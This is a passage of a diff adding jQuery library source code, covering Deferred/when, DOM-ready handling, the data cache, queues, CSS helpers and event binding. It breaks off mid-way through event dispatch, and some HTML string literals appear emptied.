tuples[ 0 ][ 2 ].lock, + + // progress_handlers.lock + tuples[ 0 ][ 3 ].lock + ); + } + + // progress_handlers.fire + // fulfilled_handlers.fire + // rejected_handlers.fire + list.add( tuple[ 3 ].fire ); + + // deferred.notify = function() { deferred.notifyWith(...) } + // deferred.resolve = function() { deferred.resolveWith(...) } + // deferred.reject = function() { deferred.rejectWith(...) } + deferred[ tuple[ 0 ] ] = function() { + deferred[ tuple[ 0 ] + "With" ]( this === deferred ? undefined : this, arguments ); + return this; + }; + + // deferred.notifyWith = list.fireWith + // deferred.resolveWith = list.fireWith + // deferred.rejectWith = list.fireWith + deferred[ tuple[ 0 ] + "With" ] = list.fireWith; + } ); + + // Make the deferred a promise + promise.promise( deferred ); + + // Call given func if any + if ( func ) { + func.call( deferred, deferred ); + } + + // All done! + return deferred; + }, + + // Deferred helper + when: function( singleValue ) { + var + + // count of uncompleted subordinates + remaining = arguments.length, + + // count of unprocessed arguments + i = remaining, + + // subordinate fulfillment data + resolveContexts = Array( i ), + resolveValues = slice.call( arguments ), + + // the primary Deferred + primary = jQuery.Deferred(), + + // subordinate callback factory + updateFunc = function( i ) { + return function( value ) { + resolveContexts[ i ] = this; + resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value; + if ( !( --remaining ) ) { + primary.resolveWith( resolveContexts, resolveValues ); + } + }; + }; + + // Single- and empty arguments are adopted like Promise.resolve + if ( remaining <= 1 ) { + adoptValue( singleValue, primary.done( updateFunc( i ) ).resolve, primary.reject, + !remaining ); + + // Use .then() to unwrap secondary thenables (cf. gh-3000) + if ( primary.state() === "pending" || + isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) { + + return primary.then(); + } + } + + // Multiple arguments are aggregated like Promise.all array elements + while ( i-- ) { + adoptValue( resolveValues[ i ], updateFunc( i ), primary.reject ); + } + + return primary.promise(); + } +} ); + + +// These usually indicate a programmer mistake during development, +// warn about them ASAP rather than swallowing them by default. +var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; + +// If `jQuery.Deferred.getErrorHook` is defined, `asyncError` is an error +// captured before the async barrier to get the original error cause +// which may otherwise be hidden. +jQuery.Deferred.exceptionHook = function( error, asyncError ) { + + // Support: IE 8 - 9 only + // Console exists when dev tools are open, which can happen at any time + if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) { + window.console.warn( "jQuery.Deferred exception: " + error.message, + error.stack, asyncError ); + } +}; + + + + +jQuery.readyException = function( error ) { + window.setTimeout( function() { + throw error; + } ); +}; + + + + +// The deferred used on DOM ready +var readyList = jQuery.Deferred(); + +jQuery.fn.ready = function( fn ) { + + readyList + .then( fn ) + + // Wrap jQuery.readyException in a function so that the lookup + // happens at the time of error handling instead of callback + // registration. + .catch( function( error ) { + jQuery.readyException( error ); + } ); + + return this; +}; + +jQuery.extend( { + + // Is the DOM ready to be used? Set to true once it occurs. + isReady: false, + + // A counter to track how many items to wait for before + // the ready event fires. See trac-6781 + readyWait: 1, + + // Handle when the DOM is ready + ready: function( wait ) { + + // Abort if there are pending holds or we're already ready + if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { + return; + } + + // Remember that the DOM is ready + jQuery.isReady = true; + + // If a normal DOM Ready event fired, decrement, and wait if need be + if ( wait !== true && --jQuery.readyWait > 0 ) { + return; + } + + // If there are functions bound, to execute + readyList.resolveWith( document, [ jQuery ] ); + } +} ); + +jQuery.ready.then = readyList.then; + +// The ready event handler and self cleanup method +function completed() { + document.removeEventListener( "DOMContentLoaded", completed ); + window.removeEventListener( "load", completed ); + jQuery.ready(); +} + +// Catch cases where $(document).ready() is called +// after the browser event has already occurred. +// Support: IE <=9 - 10 only +// Older IE sometimes signals "interactive" too soon +if ( document.readyState === "complete" || + ( document.readyState !== "loading" && !document.documentElement.doScroll ) ) { + + // Handle it asynchronously to allow scripts the opportunity to delay ready + window.setTimeout( jQuery.ready ); + +} else { + + // Use the handy event callback + document.addEventListener( "DOMContentLoaded", completed ); + + // A fallback to window.onload, that will always work + window.addEventListener( "load", completed ); +} + + + + +// Multifunctional method to get and set values of a collection +// The value/s can optionally be executed if it's a function +var access = function( elems, fn, key, value, chainable, emptyGet, raw ) { + var i = 0, + len = elems.length, + bulk = key == null; + + // Sets many values + if ( toType( key ) === "object" ) { + chainable = true; + for ( i in key ) { + access( elems, fn, i, key[ i ], true, emptyGet, raw ); + } + + // Sets one value + } else if ( value !== undefined ) { + chainable = true; + + if ( !isFunction( value ) ) { + raw = true; + } + + if ( bulk ) { + + // Bulk operations run against the entire set + if ( raw ) { + fn.call( elems, value ); + fn = null; + + // ...except when executing function values + } else { + bulk = fn; + fn = function( elem, _key, value ) { + return bulk.call( jQuery( elem ), value ); + }; + } + } + + if ( fn ) { + for ( ; i < len; i++ ) { + fn( + elems[ i ], key, raw ? + value : + value.call( elems[ i ], i, fn( elems[ i ], key ) ) + ); + } + } + } + + if ( chainable ) { + return elems; + } + + // Gets + if ( bulk ) { + return fn.call( elems ); + } + + return len ? fn( elems[ 0 ], key ) : emptyGet; +}; + + +// Matches dashed string for camelizing +var rmsPrefix = /^-ms-/, + rdashAlpha = /-([a-z])/g; + +// Used by camelCase as callback to replace() +function fcamelCase( _all, letter ) { + return letter.toUpperCase(); +} + +// Convert dashed to camelCase; used by the css and data modules +// Support: IE <=9 - 11, Edge 12 - 15 +// Microsoft forgot to hump their vendor prefix (trac-9572) +function camelCase( string ) { + return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); +} +var acceptData = function( owner ) { + + // Accepts only: + // - Node + // - Node.ELEMENT_NODE + // - Node.DOCUMENT_NODE + // - Object + // - Any + return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType ); +}; + + + + +function Data() { + this.expando = jQuery.expando + Data.uid++; +} + +Data.uid = 1; + +Data.prototype = { + + cache: function( owner ) { + + // Check if the owner object already has a cache + var value = owner[ this.expando ]; + + // If not, create one + if ( !value ) { + value = {}; + + // We can accept data for non-element nodes in modern browsers, + // but we should not, see trac-8335. + // Always return an empty object. + if ( acceptData( owner ) ) { + + // If it is a node unlikely to be stringify-ed or looped over + // use plain assignment + if ( owner.nodeType ) { + owner[ this.expando ] = value; + + // Otherwise secure it in a non-enumerable property + // configurable must be true to allow the property to be + // deleted when data is removed + } else { + Object.defineProperty( owner, this.expando, { + value: value, + configurable: true + } ); + } + } + } + + return value; + }, + set: function( owner, data, value ) { + var prop, + cache = this.cache( owner ); + + // Handle: [ owner, key, value ] args + // Always use camelCase key (gh-2257) + if ( typeof data === "string" ) { + cache[ camelCase( data ) ] = value; + + // Handle: [ owner, { properties } ] args + } else { + + // Copy the properties one-by-one to the cache object + for ( prop in data ) { + cache[ camelCase( prop ) ] = data[ prop ]; + } + } + return cache; + }, + get: function( owner, key ) { + return key === undefined ? + this.cache( owner ) : + + // Always use camelCase key (gh-2257) + owner[ this.expando ] && owner[ this.expando ][ camelCase( key ) ]; + }, + access: function( owner, key, value ) { + + // In cases where either: + // + // 1. No key was specified + // 2. A string key was specified, but no value provided + // + // Take the "read" path and allow the get method to determine + // which value to return, respectively either: + // + // 1. The entire cache object + // 2. The data stored at the key + // + if ( key === undefined || + ( ( key && typeof key === "string" ) && value === undefined ) ) { + + return this.get( owner, key ); + } + + // When the key is not a string, or both a key and value + // are specified, set or extend (existing objects) with either: + // + // 1. An object of properties + // 2. A key and value + // + this.set( owner, key, value ); + + // Since the "set" path can have two possible entry points + // return the expected data based on which path was taken[*] + return value !== undefined ? value : key; + }, + remove: function( owner, key ) { + var i, + cache = owner[ this.expando ]; + + if ( cache === undefined ) { + return; + } + + if ( key !== undefined ) { + + // Support array or space separated string of keys + if ( Array.isArray( key ) ) { + + // If key is an array of keys... + // We always set camelCase keys, so remove that. + key = key.map( camelCase ); + } else { + key = camelCase( key ); + + // If a key with the spaces exists, use it. + // Otherwise, create an array by matching non-whitespace + key = key in cache ? + [ key ] : + ( key.match( rnothtmlwhite ) || [] ); + } + + i = key.length; + + while ( i-- ) { + delete cache[ key[ i ] ]; + } + } + + // Remove the expando if there's no more data + if ( key === undefined || jQuery.isEmptyObject( cache ) ) { + + // Support: Chrome <=35 - 45 + // Webkit & Blink performance suffers when deleting properties + // from DOM nodes, so set to undefined instead + // https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted) + if ( owner.nodeType ) { + owner[ this.expando ] = undefined; + } else { + delete owner[ this.expando ]; + } + } + }, + hasData: function( owner ) { + var cache = owner[ this.expando ]; + return cache !== undefined && !jQuery.isEmptyObject( cache ); + } +}; +var dataPriv = new Data(); + +var dataUser = new Data(); + + + +// Implementation Summary +// +// 1. Enforce API surface and semantic compatibility with 1.9.x branch +// 2. Improve the module's maintainability by reducing the storage +// paths to a single mechanism. +// 3. Use the same single mechanism to support "private" and "user" data. +// 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData) +// 5. Avoid exposing implementation details on user objects (eg. expando properties) +// 6. Provide a clear path for implementation upgrade to WeakMap in 2014 + +var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, + rmultiDash = /[A-Z]/g; + +function getData( data ) { + if ( data === "true" ) { + return true; + } + + if ( data === "false" ) { + return false; + } + + if ( data === "null" ) { + return null; + } + + // Only convert to a number if it doesn't change the string + if ( data === +data + "" ) { + return +data; + } + + if ( rbrace.test( data ) ) { + return JSON.parse( data ); + } + + return data; +} + +function dataAttr( elem, key, data ) { + var name; + + // If nothing was found internally, try to fetch any + // data from the HTML5 data-* attribute + if ( data === undefined && elem.nodeType === 1 ) { + name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase(); + data = elem.getAttribute( name ); + + if ( typeof data === "string" ) { + try { + data = getData( data ); + } catch ( e ) {} + + // Make sure we set the data so it isn't changed later + dataUser.set( elem, key, data ); + } else { + data = undefined; + } + } + return data; +} + +jQuery.extend( { + hasData: function( elem ) { + return dataUser.hasData( elem ) || dataPriv.hasData( elem ); + }, + + data: function( elem, name, data ) { + return dataUser.access( elem, name, data ); + }, + + removeData: function( elem, name ) { + dataUser.remove( elem, name ); + }, + + // TODO: Now that all calls to _data and _removeData have been replaced + // with direct calls to dataPriv methods, these can be deprecated. + _data: function( elem, name, data ) { + return dataPriv.access( elem, name, data ); + }, + + _removeData: function( elem, name ) { + dataPriv.remove( elem, name ); + } +} ); + +jQuery.fn.extend( { + data: function( key, value ) { + var i, name, data, + elem = this[ 0 ], + attrs = elem && elem.attributes; + + // Gets all values + if ( key === undefined ) { + if ( this.length ) { + data = dataUser.get( elem ); + + if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) { + i = attrs.length; + while ( i-- ) { + + // Support: IE 11 only + // The attrs elements can be null (trac-14894) + if ( attrs[ i ] ) { + name = attrs[ i ].name; + if ( name.indexOf( "data-" ) === 0 ) { + name = camelCase( name.slice( 5 ) ); + dataAttr( elem, name, data[ name ] ); + } + } + } + dataPriv.set( elem, "hasDataAttrs", true ); + } + } + + return data; + } + + // Sets multiple values + if ( typeof key === "object" ) { + return this.each( function() { + dataUser.set( this, key ); + } ); + } + + return access( this, function( value ) { + var data; + + // The calling jQuery object (element matches) is not empty + // (and therefore has an element appears at this[ 0 ]) and the + // `value` parameter was not undefined. An empty jQuery object + // will result in `undefined` for elem = this[ 0 ] which will + // throw an exception if an attempt to read a data cache is made. + if ( elem && value === undefined ) { + + // Attempt to get data from the cache + // The key will always be camelCased in Data + data = dataUser.get( elem, key ); + if ( data !== undefined ) { + return data; + } + + // Attempt to "discover" the data in + // HTML5 custom data-* attrs + data = dataAttr( elem, key ); + if ( data !== undefined ) { + return data; + } + + // We tried really hard, but the data doesn't exist. + return; + } + + // Set the data... + this.each( function() { + + // We always store the camelCased key + dataUser.set( this, key, value ); + } ); + }, null, value, arguments.length > 1, null, true ); + }, + + removeData: function( key ) { + return this.each( function() { + dataUser.remove( this, key ); + } ); + } +} ); + + +jQuery.extend( { + queue: function( elem, type, data ) { + var queue; + + if ( elem ) { + type = ( type || "fx" ) + "queue"; + queue = dataPriv.get( elem, type ); + + // Speed up dequeue by getting out quickly if this is just a lookup + if ( data ) { + if ( !queue || Array.isArray( data ) ) { + queue = dataPriv.access( elem, type, jQuery.makeArray( data ) ); + } else { + queue.push( data ); + } + } + return queue || []; + } + }, + + dequeue: function( elem, type ) { + type = type || "fx"; + + var queue = jQuery.queue( elem, type ), + startLength = queue.length, + fn = queue.shift(), + hooks = jQuery._queueHooks( elem, type ), + next = function() { + jQuery.dequeue( elem, type ); + }; + + // If the fx queue is dequeued, always remove the progress sentinel + if ( fn === "inprogress" ) { + fn = queue.shift(); + startLength--; + } + + if ( fn ) { + + // Add a progress sentinel to prevent the fx queue from being + // automatically dequeued + if ( type === "fx" ) { + queue.unshift( "inprogress" ); + } + + // Clear up the last queue stop function + delete hooks.stop; + fn.call( elem, next, hooks ); + } + + if ( !startLength && hooks ) { + hooks.empty.fire(); + } + }, + + // Not public - generate a queueHooks object, or return the current one + _queueHooks: function( elem, type ) { + var key = type + "queueHooks"; + return dataPriv.get( elem, key ) || dataPriv.access( elem, key, { + empty: jQuery.Callbacks( "once memory" ).add( function() { + dataPriv.remove( elem, [ type + "queue", key ] ); + } ) + } ); + } +} ); + +jQuery.fn.extend( { + queue: function( type, data ) { + var setter = 2; + + if ( typeof type !== "string" ) { + data = type; + type = "fx"; + setter--; + } + + if ( arguments.length < setter ) { + return jQuery.queue( this[ 0 ], type ); + } + + return data === undefined ? + this : + this.each( function() { + var queue = jQuery.queue( this, type, data ); + + // Ensure a hooks for this queue + jQuery._queueHooks( this, type ); + + if ( type === "fx" && queue[ 0 ] !== "inprogress" ) { + jQuery.dequeue( this, type ); + } + } ); + }, + dequeue: function( type ) { + return this.each( function() { + jQuery.dequeue( this, type ); + } ); + }, + clearQueue: function( type ) { + return this.queue( type || "fx", [] ); + }, + + // Get a promise resolved when queues of a certain type + // are emptied (fx is the type by default) + promise: function( type, obj ) { + var tmp, + count = 1, + defer = jQuery.Deferred(), + elements = this, + i = this.length, + resolve = function() { + if ( !( --count ) ) { + defer.resolveWith( elements, [ elements ] ); + } + }; + + if ( typeof type !== "string" ) { + obj = type; + type = undefined; + } + type = type || "fx"; + + while ( i-- ) { + tmp = dataPriv.get( elements[ i ], type + "queueHooks" ); + if ( tmp && tmp.empty ) { + count++; + tmp.empty.add( resolve ); + } + } + resolve(); + return defer.promise( obj ); + } +} ); +var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source; + +var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ); + + +var cssExpand = [ "Top", "Right", "Bottom", "Left" ]; + +var documentElement = document.documentElement; + + + + var isAttached = function( elem ) { + return jQuery.contains( elem.ownerDocument, elem ); + }, + composed = { composed: true }; + + // Support: IE 9 - 11+, Edge 12 - 18+, iOS 10.0 - 10.2 only + // Check attachment across shadow DOM boundaries when possible (gh-3504) + // Support: iOS 10.0-10.2 only + // Early iOS 10 versions support `attachShadow` but not `getRootNode`, + // leading to errors. We need to check for `getRootNode`. + if ( documentElement.getRootNode ) { + isAttached = function( elem ) { + return jQuery.contains( elem.ownerDocument, elem ) || + elem.getRootNode( composed ) === elem.ownerDocument; + }; + } +var isHiddenWithinTree = function( elem, el ) { + + // isHiddenWithinTree might be called from jQuery#filter function; + // in that case, element will be second argument + elem = el || elem; + + // Inline style trumps all + return elem.style.display === "none" || + elem.style.display === "" && + + // Otherwise, check computed style + // Support: Firefox <=43 - 45 + // Disconnected elements can have computed display: none, so first confirm that elem is + // in the document. + isAttached( elem ) && + + jQuery.css( elem, "display" ) === "none"; + }; + + + +function adjustCSS( elem, prop, valueParts, tween ) { + var adjusted, scale, + maxIterations = 20, + currentValue = tween ? + function() { + return tween.cur(); + } : + function() { + return jQuery.css( elem, prop, "" ); + }, + initial = currentValue(), + unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ), + + // Starting value computation is required for potential unit mismatches + initialInUnit = elem.nodeType && + ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) && + rcssNum.exec( jQuery.css( elem, prop ) ); + + if ( initialInUnit && initialInUnit[ 3 ] !== unit ) { + + // Support: Firefox <=54 + // Halve the iteration target value to prevent interference from CSS upper bounds (gh-2144) + initial = initial / 2; + + // Trust units reported by jQuery.css + unit = unit || initialInUnit[ 3 ]; + + // Iteratively approximate from a nonzero starting point + initialInUnit = +initial || 1; + + while ( maxIterations-- ) { + + // Evaluate and update our best guess (doubling guesses that zero out). + // Finish if the scale equals or crosses 1 (making the old*new product non-positive). + jQuery.style( elem, prop, initialInUnit + unit ); + if ( ( 1 - scale ) * ( 1 - ( scale = currentValue() / initial || 0.5 ) ) <= 0 ) { + maxIterations = 0; + } + initialInUnit = initialInUnit / scale; + + } + + initialInUnit = initialInUnit * 2; + jQuery.style( elem, prop, initialInUnit + unit ); + + // Make sure we update the tween properties later on + valueParts = valueParts || []; + } + + if ( valueParts ) { + initialInUnit = +initialInUnit || +initial || 0; + + // Apply relative offset (+=/-=) if specified + adjusted = valueParts[ 1 ] ? + initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] : + +valueParts[ 2 ]; + if ( tween ) { + tween.unit = unit; + tween.start = initialInUnit; + tween.end = adjusted; + } + } + return adjusted; +} + + +var defaultDisplayMap = {}; + +function getDefaultDisplay( elem ) { + var temp, + doc = elem.ownerDocument, + nodeName = elem.nodeName, + display = defaultDisplayMap[ nodeName ]; + + if ( display ) { + return display; + } + + temp = doc.body.appendChild( doc.createElement( nodeName ) ); + display = jQuery.css( temp, "display" ); + + temp.parentNode.removeChild( temp ); + + if ( display === "none" ) { + display = "block"; + } + defaultDisplayMap[ nodeName ] = display; + + return display; +} + +function showHide( elements, show ) { + var display, elem, + values = [], + index = 0, + length = elements.length; + + // Determine new display value for elements that need to change + for ( ; index < length; index++ ) { + elem = elements[ index ]; + if ( !elem.style ) { + continue; + } + + display = elem.style.display; + if ( show ) { + + // Since we force visibility upon cascade-hidden elements, an immediate (and slow) + // check is required in this first loop unless we have a nonempty display value (either + // inline or about-to-be-restored) + if ( display === "none" ) { + values[ index ] = dataPriv.get( elem, "display" ) || null; + if ( !values[ index ] ) { + elem.style.display = ""; + } + } + if ( elem.style.display === "" && isHiddenWithinTree( elem ) ) { + values[ index ] = getDefaultDisplay( elem ); + } + } else { + if ( display !== "none" ) { + values[ index ] = "none"; + + // Remember what we're overwriting + dataPriv.set( elem, "display", display ); + } + } + } + + // Set the display of the elements in a second loop to avoid constant reflow + for ( index = 0; index < length; index++ ) { + if ( values[ index ] != null ) { + elements[ index ].style.display = values[ index ]; + } + } + + return elements; +} + +jQuery.fn.extend( { + show: function() { + return showHide( this, true ); + }, + hide: function() { + return showHide( this ); + }, + toggle: function( state ) { + if ( typeof state === "boolean" ) { + return state ? this.show() : this.hide(); + } + + return this.each( function() { + if ( isHiddenWithinTree( this ) ) { + jQuery( this ).show(); + } else { + jQuery( this ).hide(); + } + } ); + } +} ); +var rcheckableType = ( /^(?:checkbox|radio)$/i ); + +var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]*)/i ); + +var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i ); + + + +( function() { + var fragment = document.createDocumentFragment(), + div = fragment.appendChild( document.createElement( "div" ) ), + input = document.createElement( "input" ); + + // Support: Android 4.0 - 4.3 only + // Check state lost if the name is set (trac-11217) + // Support: Windows Web Apps (WWA) + // `name` and `type` must use .setAttribute for WWA (trac-14901) + input.setAttribute( "type", "radio" ); + input.setAttribute( "checked", "checked" ); + input.setAttribute( "name", "t" ); + + div.appendChild( input ); + + // Support: Android <=4.1 only + // Older WebKit doesn't clone checked state correctly in fragments + support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked; + + // Support: IE <=11 only + // Make sure textarea (and checkbox) defaultValue is properly cloned + div.innerHTML = ""; + support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue; + + // Support: IE <=9 only + // IE <=9 replaces "; + support.option = !!div.lastChild; +} )(); + + +// We have to close these tags to support XHTML (trac-13200) +var wrapMap = { + + // XHTML parsers do not magically insert elements in the + // same way that tag soup parsers do. So we cannot shorten + // this by omitting or other required elements. + thead: [ 1, "", "
    " ], + col: [ 2, "", "
    " ], + tr: [ 2, "", "
    " ], + td: [ 3, "", "
    " ], + + _default: [ 0, "", "" ] +}; + +wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; +wrapMap.th = wrapMap.td; + +// Support: IE <=9 only +if ( !support.option ) { + wrapMap.optgroup = wrapMap.option = [ 1, "" ]; +} + + +function getAll( context, tag ) { + + // Support: IE <=9 - 11 only + // Use typeof to avoid zero-argument method invocation on host objects (trac-15151) + var ret; + + if ( typeof context.getElementsByTagName !== "undefined" ) { + ret = context.getElementsByTagName( tag || "*" ); + + } else if ( typeof context.querySelectorAll !== "undefined" ) { + ret = context.querySelectorAll( tag || "*" ); + + } else { + ret = []; + } + + if ( tag === undefined || tag && nodeName( context, tag ) ) { + return jQuery.merge( [ context ], ret ); + } + + return ret; +} + + +// Mark scripts as having already been evaluated +function setGlobalEval( elems, refElements ) { + var i = 0, + l = elems.length; + + for ( ; i < l; i++ ) { + dataPriv.set( + elems[ i ], + "globalEval", + !refElements || dataPriv.get( refElements[ i ], "globalEval" ) + ); + } +} + + +var rhtml = /<|&#?\w+;/; + +function buildFragment( elems, context, scripts, selection, ignored ) { + var elem, tmp, tag, wrap, attached, j, + fragment = context.createDocumentFragment(), + nodes = [], + i = 0, + l = elems.length; + + for ( ; i < l; i++ ) { + elem = elems[ i ]; + + if ( elem || elem === 0 ) { + + // Add nodes directly + if ( toType( elem ) === "object" ) { + + // Support: Android <=4.0 only, PhantomJS 1 only + // push.apply(_, arraylike) throws on ancient WebKit + jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); + + // Convert non-html into a text node + } else if ( !rhtml.test( elem ) ) { + nodes.push( context.createTextNode( elem ) ); + + // Convert html into DOM nodes + } else { + tmp = tmp || fragment.appendChild( context.createElement( "div" ) ); + + // Deserialize a standard representation + tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase(); + wrap = wrapMap[ tag ] || wrapMap._default; + tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ]; + + // Descend through wrappers to the right content + j = wrap[ 0 ]; + while ( j-- ) { + tmp = tmp.lastChild; + } + + // Support: Android <=4.0 only, PhantomJS 1 only + // push.apply(_, arraylike) throws on ancient WebKit + jQuery.merge( nodes, tmp.childNodes ); + + // Remember the top-level container + tmp = fragment.firstChild; + + // Ensure the created nodes are orphaned (trac-12392) + tmp.textContent = ""; + } + } + } + + // Remove wrapper from fragment + fragment.textContent = ""; + + i = 0; + while ( ( elem = nodes[ i++ ] ) ) { + + // Skip elements already in the context collection (trac-4087) + if ( selection && jQuery.inArray( elem, selection ) > -1 ) { + if ( ignored ) { + ignored.push( elem ); + } + continue; + } + + attached = isAttached( elem ); + + // Append to fragment + tmp = getAll( fragment.appendChild( elem ), "script" ); + + // Preserve script evaluation history + if ( attached ) { + setGlobalEval( tmp ); + } + + // Capture executables + if ( scripts ) { + j = 0; + while ( ( elem = tmp[ j++ ] ) ) { + if ( rscriptType.test( elem.type || "" ) ) { + scripts.push( elem ); + } + } + } + } + + return fragment; +} + + +var rtypenamespace = /^([^.]*)(?:\.(.+)|)/; + +function returnTrue() { + return true; +} + +function returnFalse() { + return false; +} + +function on( elem, types, selector, data, fn, one ) { + var origFn, type; + + // Types can be a map of types/handlers + if ( typeof types === "object" ) { + + // ( types-Object, selector, data ) + if ( typeof selector !== "string" ) { + + // ( types-Object, data ) + data = data || selector; + selector = undefined; + } + for ( type in types ) { + on( elem, type, selector, data, types[ type ], one ); + } + return elem; + } + + if ( data == null && fn == null ) { + + // ( types, fn ) + fn = selector; + data = selector = undefined; + } else if ( fn == null ) { + if ( typeof selector === "string" ) { + + // ( types, selector, fn ) + fn = data; + data = undefined; + } else { + + // ( types, data, fn ) + fn = data; + data = selector; + selector = undefined; + } + } + if ( fn === false ) { + fn = returnFalse; + } else if ( !fn ) { + return elem; + } + + if ( one === 1 ) { + origFn = fn; + fn = function( event ) { + + // Can use an empty set, since event contains the info + jQuery().off( event ); + return origFn.apply( this, arguments ); + }; + + // Use same guid so caller can remove using origFn + fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); + } + return elem.each( function() { + jQuery.event.add( this, types, fn, data, selector ); + } ); +} + +/* + * Helper functions for managing events -- not part of the public interface. + * Props to Dean Edwards' addEvent library for many of the ideas. + */ +jQuery.event = { + + global: {}, + + add: function( elem, types, handler, data, selector ) { + + var handleObjIn, eventHandle, tmp, + events, t, handleObj, + special, handlers, type, namespaces, origType, + elemData = dataPriv.get( elem ); + + // Only attach events to objects that accept data + if ( !acceptData( elem ) ) { + return; + } + + // Caller can pass in an object of custom data in lieu of the handler + if ( handler.handler ) { + handleObjIn = handler; + handler = handleObjIn.handler; + selector = handleObjIn.selector; + } + + // Ensure that invalid selectors throw exceptions at attach time + // Evaluate against documentElement in case elem is a non-element node (e.g., document) + if ( selector ) { + jQuery.find.matchesSelector( documentElement, selector ); + } + + // Make sure that the handler has a unique ID, used to find/remove it later + if ( !handler.guid ) { + handler.guid = jQuery.guid++; + } + + // Init the element's event structure and main handler, if this is the first + if ( !( events = elemData.events ) ) { + events = elemData.events = Object.create( null ); + } + if ( !( eventHandle = elemData.handle ) ) { + eventHandle = elemData.handle = function( e ) { + + // Discard the second event of a jQuery.event.trigger() and + // when an event is called after a page has unloaded + return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ? + jQuery.event.dispatch.apply( elem, arguments ) : undefined; + }; + } + + // Handle multiple events separated by a space + types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; + t = types.length; + while ( t-- ) { + tmp = rtypenamespace.exec( types[ t ] ) || []; + type = origType = tmp[ 1 ]; + namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); + + // There *must* be a type, no attaching namespace-only handlers + if ( !type ) { + continue; + } + + // If event changes its type, use the special event handlers for the changed type + special = jQuery.event.special[ type ] || {}; + + // If selector defined, determine special event api type, otherwise given type + type = ( selector ? special.delegateType : special.bindType ) || type; + + // Update special based on newly reset type + special = jQuery.event.special[ type ] || {}; + + // handleObj is passed to all event handlers + handleObj = jQuery.extend( { + type: type, + origType: origType, + data: data, + handler: handler, + guid: handler.guid, + selector: selector, + needsContext: selector && jQuery.expr.match.needsContext.test( selector ), + namespace: namespaces.join( "." ) + }, handleObjIn ); + + // Init the event handler queue if we're the first + if ( !( handlers = events[ type ] ) ) { + handlers = events[ type ] = []; + handlers.delegateCount = 0; + + // Only use addEventListener if the special events handler returns false + if ( !special.setup || + special.setup.call( elem, data, namespaces, eventHandle ) === false ) { + + if ( elem.addEventListener ) { + elem.addEventListener( type, eventHandle ); + } + } + } + + if ( special.add ) { + special.add.call( elem, handleObj ); + + if ( !handleObj.handler.guid ) { + handleObj.handler.guid = handler.guid; + } + } + + // Add to the element's handler list, delegates in front + if ( selector ) { + handlers.splice( handlers.delegateCount++, 0, handleObj ); + } else { + handlers.push( handleObj ); + } + + // Keep track of which events have ever been used, for event optimization + jQuery.event.global[ type ] = true; + } + + }, + + // Detach an event or set of events from an element + remove: function( elem, types, handler, selector, mappedTypes ) { + + var j, origCount, tmp, + events, t, handleObj, + special, handlers, type, namespaces, origType, + elemData = dataPriv.hasData( elem ) && dataPriv.get( elem ); + + if ( !elemData || !( events = elemData.events ) ) { + return; + } + + // Once for each type.namespace in types; type may be omitted + types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; + t = types.length; + while ( t-- ) { + tmp = rtypenamespace.exec( types[ t ] ) || []; + type = origType = tmp[ 1 ]; + namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); + + // Unbind all events (on this namespace, if provided) for the element + if ( !type ) { + for ( type in events ) { + jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); + } + continue; + } + + special = jQuery.event.special[ type ] || {}; + type = ( selector ? special.delegateType : special.bindType ) || type; + handlers = events[ type ] || []; + tmp = tmp[ 2 ] && + new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ); + + // Remove matching events + origCount = j = handlers.length; + while ( j-- ) { + handleObj = handlers[ j ]; + + if ( ( mappedTypes || origType === handleObj.origType ) && + ( !handler || handler.guid === handleObj.guid ) && + ( !tmp || tmp.test( handleObj.namespace ) ) && + ( !selector || selector === handleObj.selector || + selector === "**" && handleObj.selector ) ) { + handlers.splice( j, 1 ); + + if ( handleObj.selector ) { + handlers.delegateCount--; + } + if ( special.remove ) { + special.remove.call( elem, handleObj ); + } + } + } + + // Remove generic event handler if we removed something and no more handlers exist + // (avoids potential for endless recursion during removal of special event handlers) + if ( origCount && !handlers.length ) { + if ( !special.teardown || + special.teardown.call( elem, namespaces, elemData.handle ) === false ) { + + jQuery.removeEvent( elem, type, elemData.handle ); + } + + delete events[ type ]; + } + } + + // Remove data and the expando if it's no longer used + if ( jQuery.isEmptyObject( events ) ) { + dataPriv.remove( elem, "handle events" ); + } + }, + + dispatch: function( nativeEvent ) { + + var i, j, ret, matched, handleObj, handlerQueue, + args = new Array( arguments.length ), + + // Make a writable jQuery.Event from the native event object + event = jQuery.event.fix( nativeEvent ), + + handlers = ( + dataPriv.get( this, "events" ) || Object.create( null ) + )[ event.type ] || [], + special = jQuery.event.special[ event.type ] || {}; + + // Use the fix-ed jQuery.Event rather than the (read-only) native event + args[ 0 ] 